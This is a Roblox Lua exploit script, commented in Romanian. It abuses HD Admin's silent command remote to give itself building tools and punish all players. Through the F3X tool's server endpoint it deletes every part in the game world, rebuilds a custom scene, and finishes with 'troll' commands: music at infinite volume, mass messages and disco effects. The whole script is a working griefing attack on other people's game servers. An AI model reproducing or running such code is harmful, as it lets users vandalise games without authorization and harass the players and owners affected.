local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";btools me")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)

local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack

local function getf3x()
    for _, v in ipairs(backpack:GetChildren()) do
        if v:FindFirstChild("SyncAPI") then
            return v
        end
    end
    for _, v in ipairs(char:GetChildren()) do
        if v:FindFirstChild("SyncAPI") then
            return v
        end
    end
    return nil
end

local f3x = getf3x()
if not f3x then
    warn("you dont have f3x skid")
    return
end

local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint

local function delete(part)
    local args = {
        [1] = "Remove",
        [2] = {
            [1] = part
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function deleteall()
    for _, v in ipairs(workspace:GetDescendants()) do
        if v:IsA("BasePart") or v:IsA("UnionOperation") then
            spawn(function()
                delete(v)
            end)
        end
    end
end

deleteall()   -- <--- șterge TOT înainte să construim

wait(1.2)     -- puțin delay ca să se curețe scena

local function resize(part,size,cf)
    local args = {
        [1] = "SyncResize",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["CFrame"] = cf,
                ["Size"] = size
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function syncmaterial(part,mate)
    local args = {
        [1] = "SyncMaterial",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Material"] = mate
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function transparency(part,trans)
    local args = {
        [1] = "SyncMaterial",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Transparency"] = trans
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function color(part, color)
    local args = {
        [1] = "SyncColor",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Color"] = color,
                ["UnionColoring"] = false
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function createdecal(part, side)
    local args = {
        [1] = "CreateTextures",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Face"] = side,
                ["TextureType"] = "Decal"
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function setdecal(part, asset, side)
    local args = {
        [1] = "SyncTexture",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Face"] = side,
                ["TextureType"] = "Decal",
                ["Texture"] = "rbxassetid://" .. asset
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function setanchor(part, boolean)
    local args = {
        [1] = "SyncAnchor",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Anchored"] = boolean
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function setcollision(part, booleana)
    local args = {
        [1] = "SyncCollision",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["CanCollide"] = booleana
            }
        }
    }
    serverendpoint:InvokeServer(unpack(args))
end

local function name(part, stringa)
    local args = {
        [1] = "SetName",
        [2] = {
            [1] = part
        },
        [3] = stringa
    }
    serverendpoint:InvokeServer(unpack(args))
end

-- ═══════════════════════════════════════════════════════════════
--          BUILD - totul anchored + spawn transparent
-- ═══════════════════════════════════════════════════════════════

-- BasePart
local base = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(168, -9.5, -63), workspace)
resize(base, Vector3.new(240, 21, 140), base.CFrame)
setcollision(base, true)
syncmaterial(base, Enum.Material.DiamondPlate)
color(base, Color3.new(1, 1, 0)) -- new yeller
name(base, "BasePart")
setanchor(base, true)

-- carare
local carare = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(215.5, 1, -63), workspace)
resize(carare, Vector3.new(109, 1, 20), carare.CFrame)
setcollision(carare, true)
syncmaterial(carare, Enum.Material.Plastic)
color(carare, Color3.new(1, 0, 0)) -- really red
name(carare, "carare")
setanchor(carare, true)

-- wall 1 → wall 7
local wallDecalIds = {"165335563","7560279998","4808417778","336014681","5668223666","605544193","1120224001"}
local wallData = {
    {171.536, 13.5, -32.121,  45},
    {172.707, 13.5, -93.879, 135},
    {210.071, 13.5, -34.657,  45},
    {214.121, 13.5, -91.464, 135},
    {247.414, 13.5, -36,      45},
    {247.828, 13.5, -92.586, 135},
    {278,     13.5, -63,      90},
}

for i, d in ipairs(wallData) do
    local pos = Vector3.new(d[1], d[2], d[3])
    local rot = math.rad(d[4])
    local cf = CFrame.new(pos) * CFrame.Angles(0, rot, 0)
    
    local wall = serverendpoint:InvokeServer("CreatePart", "Normal", cf, workspace)
    resize(wall, Vector3.new(30, 25, 2), cf)
    setcollision(wall, true)
    color(wall, Color3.new(1,1,1))
    name(wall, "wall " .. i)
    setanchor(wall, true)
    
    local faces = {Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Right, Enum.NormalId.Top, Enum.NormalId.Bottom}
    for _, face in ipairs(faces) do
        createdecal(wall, face)
        setdecal(wall, wallDecalIds[i], face)
    end
end

-- Spawna 2 → transparent 1.0
local spawna2 = serverendpoint:InvokeServer("CreatePart", "Spawn", CFrame.new(141.25, 1.001, -63) * CFrame.Angles(0, math.rad(-90), 0), workspace)
resize(spawna2, Vector3.new(40.5, 0.001, 40.5), spawna2.CFrame)
setcollision(spawna2, true)
transparency(spawna2, 1.0)   -- <--- INVIZIBIL
color(spawna2, Color3.new(1,1,1))
name(spawna2, "Spawna 2")
setanchor(spawna2, true)
createdecal(spawna2, Enum.NormalId.Top)
setdecal(spawna2, "3512459964", Enum.NormalId.Top)

-- BasePart 2
local base2 = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(73, 1.5, -63), workspace)
resize(base2, Vector3.new(46, 1, 136), base2.CFrame)
setcollision(base2, true)
color(base2, Color3.new(1,1,1))
name(base2, "BasePart 2")
setanchor(base2, true)
createdecal(base2, Enum.NormalId.Top)
setdecal(base2, "1084998374", Enum.NormalId.Top)

-- Part 1 2 3 (albastre)
local bluePos = {
    {70.5, 4.5, -14.5},
    {70.5, 4.5, -64.5},
    {70.5, 4.5, -113.5},
}

for i, p in ipairs(bluePos) do
    local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(unpack(p)), workspace)
    resize(part, Vector3.new(23, 6, 23), part.CFrame)
    setcollision(part, true)
    syncmaterial(part, Enum.Material.DiamondPlate)
    color(part, Color3.new(0,0,1)) -- really blue
    name(part, "Part" .. (i > 1 and " " .. i or ""))
    setanchor(part, true)
end

-- final troll commands
wait(0.5)
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all")
RequestCommand:InvokeServer(";time 14")
wait(0.7)
RequestCommand:InvokeServer(";music 1838211570 ;volume INF")
RequestCommand:InvokeServer(";m GOOD NEWS THE IT IS COME BACK")
wait(1.5)
RequestCommand:InvokeServer(";m ARE YOU SCARY?")
wait(1.6)
RequestCommand:InvokeServer(";disco")

print("Done - spawn transparent + deleteall + locked everything")